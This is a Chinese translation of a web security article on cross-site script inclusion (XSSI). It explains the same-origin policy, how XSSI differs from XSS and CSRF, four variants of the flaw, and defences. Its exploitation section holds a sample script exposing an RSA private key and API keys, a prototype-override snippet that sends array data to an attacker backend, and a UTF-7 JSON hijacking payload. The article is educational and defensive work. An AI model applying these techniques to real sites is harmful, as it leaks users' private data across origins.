翻译:shinpachi8预估稿费:200RMB投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿前言找到一个特定类别漏洞两个关键组成部分:对漏洞的认识和找到漏洞的难易。 跨站脚本包
翻译:shinpachi8
预估稿费:200RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
前言
找到一个特定类别漏洞两个关键组成部分:对漏洞的认识和找到漏洞的难易。 跨站脚本包含(XSSI)漏洞在事实上的公共标准即:OWASP TOP 10中并未被提及。 另外并没有公开的利用的工具来促进找到XSSI。它的影响范围从泄露个人存储信息,基于TOKEN的协议的规避到完成帐户的妥协(猜测意思是应该绕过登录)。 XSSI漏洞相当广泛, 由于检测手段的缺失增大了每一个XSSI漏洞的风险。 在这篇文章中我将演示如果找到XSSI,利用XSSI和如何防护XSSI漏洞。
背景知识
这一部分是来讲清楚源和同源策略(SOP)的。如果了解这一部分的可以跳过。
源的概念和基于源的Web内容隔离安全机制(即同源策略)由Netscape在引入Javascript的时候一同引入。SOP定义了文档是如何相互影响的。当两个文档属于同一个源时,它们可以相互访问。这实际上是WEB安全的基础。源被大多数浏览器定义为端口,域名和协议。 而微软的IE浏览器是一个例外,它不包括端口。它有自己的安全意义。下边的表是由(Mozilla Developer Network)用URL:http://store.company.com/dir/page.html描述了用于SOP的最通用的规则。
由于多家浏览器厂商在文档间的相互作用没有一个共同的标准,所以内容隔离是一件非常必要的事情。对于更多信息:安全研究员Michal Zalewski在他的书Tangled Web中有一章的内容都是在写这个问题。
XSSI
Cross-Site Scrite Inclusion(XSSI),一个有些无形但是描述性的名字,指定了一类漏洞:当资源用script标签来包含时,SOP就失效了,因为脚本必须能够包含跨域。因此一个攻击者可以读取用script标签包含的所有内容。
当谈到动态的Javascript和jsonp,所谓的权限信息(如COOKIE)用于身份验证时会显得特别有趣。COOKIEs 与 CSRF一样,从不同的主机来请求时会被包含。这个漏洞在上述的Michal Zalewski的书中的脚注与Sebastian Lekies等人的paper的脚注中被提到。
根据script中数据的内容不同,XSSI可以有不同的利用方式。在广泛传播的敏感数据是个人信息如e-mail, 邮件地址, 生日等。 但是也可以发现tokes, session id,与其它的ID如UID。 最简单的利用方式是检查一个用户是否已经登录(登录 oracle)。获得的信息可以在社会工程或者其它的特定方式的攻击中被滥用。
与XSS与CSRF的界限
XSSI在命名上与XSS相近,在描述上与CSRF相近。它仨之间的共同点即同为客户端攻击。
与XSS的不同是很容易理解的:在一个XSS的中,恶意代码被放置在受害者的页面,而XSSI中受害者的代码被包含在一个恶意页面中。 而表面上看XSSI与CSRF是很相似的,因为它们都是一个由恶意页面的请求至另一个域,而且这两种情况下,请求都是在用户已经登录的情况下执行的。 而最关键的不同点在于目的。在CSRF中,攻击都想要受害者的页面中执行一个状态改变的动作,比如在一个在线银行应用中进行转帐。在XSSI中攻击者想要跨域泄露数据,以便然后再执行上述的攻击。
搜索,找到和利用
当搜索XSSI时,需要区分四种情况。但是幸运的是利用方式是相似甚至是相同的(就像反射与存储的XSS)。我们可以将四种情况区分如下:
1. 静态的Javascript(正常XSSI)
2. 静态的Javascript,但是仅在认证后可访问
3. 动态Javascript
4. 非Javascript
正常的XSSI
当一个可公开访问的静态脚本包含敏感信息时,都可以认为是一个常规的XSSI。在这种情况下,几乎只有通过读文件来检测这种问题。也可以用启发式,并用正则表达式来找到私钥,社保或者信息卡帐号。但是一旦情况被确定,利用通常是微不足道的。让我们假设敏感内容设定在一个全局变量中,如下面的现实例子(替换的私钥):
var privateKey = "-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAxaEY8URy0jFmIKn0s/WK6QS/DusEGRhP4Mc2OwblFQkKXHOs
XYfbVmUCySpWCTsPPiKwG2a7+3e5mq9AsjCGvHyyzNmdEMdXAcdrf45xPS/1yYFG
0v8xv6QIJnztMl18xWymaA5j2YGQieA/UNUJHJuvuvIMkZYkkeZlExszF2fRSMJH
FUjnFNiYt0R8agdndexvuxFApYG40Hy6BJWgKW3NxowV9XbHOaDvX+3Bal5tbtrM
IzqTptgldzMGs73bJ+7nUqyv7Dicbn1XD4j9XBYy+FOBhVagSztqMFpOFcfAK7Er
sorY0yWN6aBobtENBUPkeqGiHxBAQ42ki9QkUwIDAQABAoIBAQCThrBx2iDEW2/b
TkOG2vK5A3wEDNfgS8/FAbCv23PCgh8j6I1wvGu1UG4F8P6MoXO9dHN14PjOvQ7m
M5Dd82+A4K0wUfn3fnaqs0zByXkqrdSSeVh/RVTDtBUJdhQylqr/TR3ja2qKATf+
VFGva3gDzQwfR3SucSAXcZ9d5d37x4nzFRa8ogNxxkCUy1PYHqnIpB/4MsOL8f0S
F5LR+u/F67GKFzGZXyh1i/tgIHZCOvftmj2DLx/1EoZyiLSnMABt7XmztIqYXTJG
TnXi8ix4vkwUENfveZb9yKrdmrPGITi+f5FYDlyjeSXZYZqAGhSjI69juNn36gCa
6Idt7I3xAoGBAOenoayBlmGEsWDGL8/XuAUlsceGRSoQ/MrGqx7LSgvkROYDyAfE
Db8vfy6f/qf9OI1EHwzu8QYnwKh8D0zldz9xl9Fwx4k1EIcD2BjTiJMBBk0FeybO
sqe4UwGzJvsTmfhlhJ4zZYLi1wMmkt1q1sMm9gb55nfTUDH8lzWJE/mFAoGBANpm
DcmcaUsSXkbBbmHZiV07EW4BUBpleog6avcNOcdGcylvDs17IwG28toAtOiJqQ/F
qnOqkQ73QXU7HCcmvQoX/tyxJRg/SMO2xMkYeHA+OamMrLvKgbxGLPG5O9Cs8QMl
q944WOrNhSfBE+ghPz4mpBbAxOOw0SoUYwCd52H3AoGAQnTLo8J1UrqPbFTOyJB5
ITjkHHo/g0bmToHZ+3aUYn706Quyqc+rpepJUSXjF2xEefpN8hbmHD7xPSSB+yxl
HlVHGXWCOLF5cVI//zdIGewUU6o73zEy/Xyai4VKrIK+DA2LkxrphzfuOOArB8wr
mkamE/BDFqMPgZeWBWyyx0UCgYEAg9kqp7V6x6yeJ98tEXuv9w3q9ttqDZWIBOgn
nWBpqkl4yuHWMO0O9EELmdrlXKGG5BO0VMH7cuqIpQp7c5NqesaDwZ5cQ6go+KbF
ZJYWV8TpMNfRjEm0SwKerYvjdZaCpiC/AphH7fEHWzmwF+rCcHYJiAb2lnMvw1St
dDjf8H8CgYEA4US7hhi1B2RDSwmNGTTBlGpHqPN73gqx2uOb2VYQTSUA7//b3fkK
pHEXGUaEHxxtEstSOUgT5n1kvo+90x3AbqPg6vAN4TSvX7uYIWENicbutKgjEFJi
TpCpdZksy+sgh/W/h9T7pDH272szBDo6g1TIQMCgPiAt/2yFNWU6Hks=
-----END RSA PRIVATE KEY-----",
keys = [
{ name: 'Key No 1', apiKey: '0c8aab23-2ab5-46c5-a0f2-e52ecf7d6ea8', privateKey: privateKey },
{ name: 'Key No 2', apiKey: '1e4b8312-f767-43eb-a16b-d44d3e471198', privateKey: privateKey }
];
简单的将它包含在你的页面然后读变量:
如果一个变量并没有在全局命名空间,那么有时候也可以能过prototype tampering来利用。prototype tampering滥用在Javascript的设计中,也就是当解释代码时,Javascript会遍历prototype 链来找到调用的属性。 下面的例子是在论文The Unexpected Dangers of Dynamic Javascript 中提取的。演示如何覆盖类型Array的相关函数并访问它,非全局变量也可以泄漏。
(function(){
var arr = ["secret1", "secret2", "secret3"];
// intents to slice out first entry
var x = arr.slice(1);
...
})();
在原始代码中,在原始的代码中我们可以通过slice访问数组中我们感兴趣的数据, 当然攻击者可以,如上所说的,重写slice函数以窃取信息。
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
安全调查员Sebastian Lekies刚刚更新了他的列表。
非脚本的xssi
Takeshi Terada 在他的论文Identifier based XSSI attacks中描述了另一种类型的xssi,通过在脚本标签中包含CSV文件作为源,使用数据作为变量和函数名称,能够跨源地泄露非脚本文件。
第一起公开描述xssi的文档是在2006年。 Jeremiah Grossman的博客 Advanced Web Attack Techniques using GMail 描述了一个xssi,可能重写array的构造函数可以读取到所有google帐号的地址。
在2007年, Joe Walker出版了JSON is not as safe as people think it is 。 他使用了同样的手段来窃取一个array内的json信息。
也有一些其他相关的攻击是由将utf-7编码的内容注入到json中以逃避json格式来进行的。是由Gareth Heyes, Hackvertor的作者, 在他的博客JSON Hijacking 在2011年提出的。在快速测试中,这仍然可能出现了ie和edge中,但是firefox或者chrome并无此问题。
JSON with UTF-7:
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
在攻击者的页面包含json:
XSSI的防护
开发者永远也不要把敏感数据放在Javascript文件中, 也不要放在jsonp中。这就已经可以阻止1-3这三大类型的大部分攻击。类型4的漏洞问题通常通过浏览器一方来修复。无论如何,将用户信息保存到json文件然后读取的行为应该被禁止。
Takeshi Terada论文中描述的最大的bug被修复了。然而总是可能再一次发现相似的bug。至少这可以通过告诉浏览器不要再猜测content-type来阻止一部分。一些浏览器可以接受尚未标准化的http响应头X-Content-Type-Option:nosniff来做这些。一个正确的Content-Type对于减少xssi的可能性也有帮助。
参考链接
http://bit.ly/1PmX4EX
http://incompleteness.me/blog/2007/03/05/json-is-not-as-safe-as-people-think-it-is/
http://jeremiahgrossman.blogspot.ch/2006/01/advanced-web-attack-techniques-using.html
http://sebastian-lekies.de/leak/
http://www.thespanner.co.uk/2011/05/30/json-hijacking/
https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
https://github.com/luh2/DetectDynamicJS
https://hackvertor.co.uk/public
https://mimesniff.spec.whatwg.org/
https://twitter.com/lcamtuf
https://twitter.com/slekies
https://www.mbsd.jp/Whitepaper/xssi.pdf
https://www.nostarch.com/tangledweb.htm
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
https://www.owasp.org/index.php/XSS
https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf